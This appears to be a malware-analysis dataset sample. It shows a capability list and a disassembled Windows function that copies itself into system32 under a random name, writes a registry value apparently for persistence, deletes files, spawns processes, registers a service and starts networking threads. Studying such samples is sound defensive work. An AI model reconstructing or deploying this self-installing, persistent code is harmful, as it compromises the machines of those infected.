Function at 0x99a6b
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path
Get disk information
Initialize winsock library
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x684
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 3
call esi
push 3
call esi
push 0x96511
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0009ec54
xor ebx, ebx
cmp byte [0xa201f], bl
jne 0x9a3cc
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x99aca
mov byte [ebp - 0x29c], bl
cmp byte [ebp - 0x29c], 0x22
jne 0x99afd
lea eax, [ebp - 0x29b]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0009ef00
lea eax, [ebp - 0x29c]
push 0x22
push eax
call fcn.0009ed23
add esp, 0x10
cmp eax, ebx
je 0x99afd
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0xa0a48
mov esi, 0xa22f8
push esi
mov dword [ebp + 0x10], eax
call fcn.00092544
push eax
push dword [ebp + 0x10]
call fcn.0009ee95
mov edi, 0x100
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0009ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x99c0c
mov eax, dword [ebp - 4]
lea edi, [eax + 3]
mov byte [ebp - 0x170], bl
cmp byte [edi], 0x22
jne 0x99b88
lea edi, [eax + 4]
push 0x22
push edi
call fcn.0009ed03
pop ecx
pop ecx
cmp eax, ebx
je 0x99bc2
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0009ee08
mov byte [ebp + esi - 0x174], bl
jmp 0x99bbf
push 0x20
push edi
call fcn.0009ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x99ba2
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0009ee08
mov byte [ebp + esi - 0x173], bl
add esp, 0xc
cmp byte [ebp - 0x170], bl
je 0x99c05
cmp byte [ebp - 0x29c], bl
je 0x99c05
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0009675c
add esp, 0xc
cmp eax, ebx
je 0x99c05
cmp dword [ebp - 8], ebx
je 0x99c05
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.00096a60
add esp, 0xc
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.000996aa
add esp, 0x14
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x9a1d2
mov dword [ebp - 0x20], ebx
cmp eax, 4
jge 0x9a167
cmp dword [ebp - 0x2c], 0x5e
jle 0x99c54
cmp dword [ebp - 0x28], ebx
jne 0x9a167
push 1
call fcn.00094280
pop ecx
cmp byte [ebp - 0x29c], bl
je 0x9a167
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0009675c
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x9a167
cmp dword [ebp - 8], ebx
je 0x9a167
cmp dword [ebp - 0xc], 2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
je 0x99e3e
lea eax, [ebp - 0x4f4]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x99e3e
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.000999d2
add esp, 0x14
test eax, eax
je 0x99e3e
cmp dword [ebp - 0xc], 3
mov byte [ebp - 0x4c], bl
jl 0x99d55
cmp byte [ebp - 0x170], bl
je 0x99d55
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x99cff
sub eax, edx
cmp eax, ebx
jle 0x99d17
cmp byte [ebp + eax - 0x171], 0x5c
jne 0x99d17
dec eax
mov edx, eax
cmp eax, ebx
jle 0x99d2f
lea ecx, [ebp - 0x170]
cmp byte [ecx + eax - 1], 0x5c
je 0x99d2f
dec eax
cmp eax, ebx
jg 0x99d23
sub edx, eax
push edx
lea eax, [ebp + eax - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp + 0x10], edx
call fcn.0009ee08
mov eax, dword [ebp + 0x10]
mov byte [ebp + eax - 0x4c], bl
xor eax, eax
add esp, 0xc
inc eax
jmp 0x99da5
lea eax, [ebp - 0x4c]
push ebx
push eax
call fcn.00096dc2
xor eax, 0x5e5e5e5e
push eax
call fcn.0009f133
add esp, 0xc
call fcn.00096cc9
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xa070c
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
cmp dword [ebp - 0x28], ebx
je 0x99db4
cmp dword [ebp - 0x2c], 0x50
jl 0x99db4
xor ecx, ecx
jmp 0x99db7
xor ecx, ecx
inc ecx
push ecx
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2bc]
push eax
call fcn.00099326
add esp, 0x18
test eax, eax
je 0x99e21
lea eax, [ebp - 0x2e0]
push eax
push ebx
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x99e0c
xor esi, esi
inc esi
cmp dword [ebp - 0xc], esi
jne 0x99e04
call fcn.000996ff
mov dword [ebp - 0x20], esi
jmp 0x9a155
mov eax, 0x5e040108
mov dword [0xa2180], eax
mov dword [0xa217c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x99e2e
mov eax, dword [0xa217c]
mov dword [ebp - 0x1c], eax
mov eax, dword [0xa2180]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xc], 3
jge 0x9a155
push 0x1f4
lea eax, [ebp - 0x4f4]
push eax
push 0xc8
push 0xe4
push 0xc
push 0xa0a3c
push esi
call fcn.00092544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x9a14a
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.000999d2
add esp, 0x14
test eax, eax
je 0x9a14a
push edi
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f3]
push eax
mov byte [ebp - 0x4f4], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x4f4], 0x22
inc eax
cmp dword [ebp - 0xc], 2
mov dword [ebp + 0x10], eax
mov byte [ebp + eax - 0x4f4], bl
jne 0x99ef9
cmp byte [ebp - 0x6c], bl
jne 0x99f11
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00096dc2
xor eax, 0x5e5e5e5e
push eax
call fcn.0009f133
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0xa06ac
push esi
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x99f70
mov eax, dword [ebp + 0x10]
inc eax
push eax
lea eax, [ebp - 0x4f4]
push eax
push 1
push ebx
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
push esi
call fcn.0009ee2a
push 0x44
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0009ee2a
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x300], 0x44
call fcn.0009ee2a
add esp, 0x24
push 0x104
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x9a09a
cmp byte [ebp - 0x170], 0x22
lea eax, [ebp - 0x170]
mov dword [ebp - 0x24], eax
jne 0x99fdd
lea eax, [ebp - 0x16f]
mov dword [ebp - 0x24], eax
cmp byte [eax + 1], 0x3a
jne 0x9a09a
cmp byte [eax + 2], 0x5c
jne 0x9a09a
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 3]
push eax
mov byte [ebp + 0x13], cl
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x9a09a
mov al, byte [ebp + 0x13]
mov ecx, dword [ebp - 0x24]
push 0xc8
push 0xe4
push 4
push 0xa0a38
push esi
mov byte [ecx + 3], al
call fcn.00092544
add esp, 0x14
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
cmp byte [ebp - 0x170], 0x22
je 0x9a064
push 0xa0a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp - 0x170], 0x22
je 0x9a093
push 0xa0a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], ebx
je 0x9a103
cmp dword [ebp - 0x18], ebx
je 0x9a103
push dword [ebp - 0x1c]
lea eax, [ebp - 0x170]
push dword [ebp - 0x18]
push 0xa0a2c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xc8
push 0xe4
push 4
push 0xa0a28
push esi
call fcn.00092544
add esp, 0x24
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x300]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4f4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x9a13a
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0xc], 1
jne 0x9a14a
cmp dword [ebp - 0x10], ebx
jne 0x9a14a
call fcn.000996ff
push edi
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
push dword [ebp - 4]
call fcn.0009ec2e
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0x99c05
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x99c05
cmp byte [ebp - 0x29c], 0x22
lea eax, [ebp - 0x29c]
jne 0x9a19e
lea eax, [ebp - 0x29b]
cmp byte [eax + 1], 0x3a
jne 0x99c05
cmp byte [eax + 2], 0x5c
jne 0x99c05
push eax
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x99c05
push 1
call fcn.00099145
pop ecx
jmp 0x99c05
lea eax, [ebp - 0x29c]
push eax
push str.C:WINDOWS_system32wzjurggnybuffopp.exe
call fcn.0009ef00
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0xa0a38
push esi
mov dword [ebp + 0x10], eax
call fcn.00092544
push eax
push dword [ebp + 0x10]
call fcn.0009ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0009ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x9a2e2
mov eax, dword [ebp - 4]
add eax, 3
mov byte [ebp - 0x29c], bl
cmp byte [eax], 0x22
mov dword [ebp - 0x10], eax
jne 0x9a275
mov eax, dword [ebp - 4]
add eax, 4
push 0x22
push eax
mov dword [ebp - 0x10], eax
call fcn.0009ed03
pop ecx
pop ecx
cmp eax, ebx
je 0x9a2b7
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffc
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0009ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2a0], bl
jmp 0x9a2b4
push 0x20
push dword [ebp - 0x10]
call fcn.0009ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x9a291
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffd
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0009ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x29f], bl
add esp, 0xc
cmp byte [ebp - 0x29c], bl
je 0x9a2d8
push 0x103
lea eax, [ebp - 0x29c]
push eax
push 0xa33d8
call fcn.0009ee08
add esp, 0xc
mov dword [0xa2cc0], 1
push 0xc8
push 0xe4
push 4
push 0xa0a28
push esi
call fcn.00092544
push eax
push dword [ebp + 0x10]
call fcn.0009ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0009ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x9a35a
mov esi, dword [ebp - 4]
add esi, 3
push 0x20
push esi
call fcn.0009ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x9a339
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x9a32e
sub eax, edx
add eax, esi
sub eax, esi
mov edi, eax
cmp edi, 0x20
jb 0x9a345
push 0x1f
pop edi
push edi
push esi
push 0xa2184
call fcn.0009ee08
add esp, 0xc
mov byte [edi + 0xa2184], bl
call fcn.00096ec3
test eax, eax
jne 0x9a3c2
cmp byte [ebp - 0x170], bl
je 0x9a397
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x9a374
sub eax, edx
cmp eax, 0x20
jae 0x9a397
lea eax, [ebp - 0x170]
push eax
push 0xa33b0
call fcn.0009ef00
pop ecx
pop ecx
jmp 0x9a39d
mov byte [0xa33b0], bl
lea eax, [ebp - 0x170]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x99961
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x99c05
call fcn.000998f2
jmp 0x99c05
cmp byte [0xa33d8], bl
je 0x9a41c
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp + 0x10], 0xa
mov esi, 0xa33d8
jmp 0x9a406
cmp dword [ebp + 0x10], ebx
jle 0x9a40d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x9a40d
dec dword [ebp + 0x10]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x9a3e8
push 0x104
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x9405e
push ebx
push ebx
call esi
lea eax, [ebp - 0x684]
push eax
push 0x1010
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.0009e52e
push ebx
push 1
call fcn.0009eaaf
push 0xa2118
call fcn.00091d96
add esp, 0xc
call fcn.000980c9
push ebx
push ebx
push ebx
push 0x9877e
push ebx
push ebx
call esi
call fcn.00095e6c
call fcn.00093132
call fcn.0009c125
call fcn.00098db1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
call fcn.0009c4ee
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0xa33d0], ebx
je 0x9a4ae
call edi
sub eax, dword [0xa33d0]
cmp eax, 0x109a0
jb 0x9a4be
call fcn.0009c913
test eax, eax
jne 0x9a4be
call edi
mov dword [0xa33d0], eax
push 0x1a90
call esi
jmp 0x9a497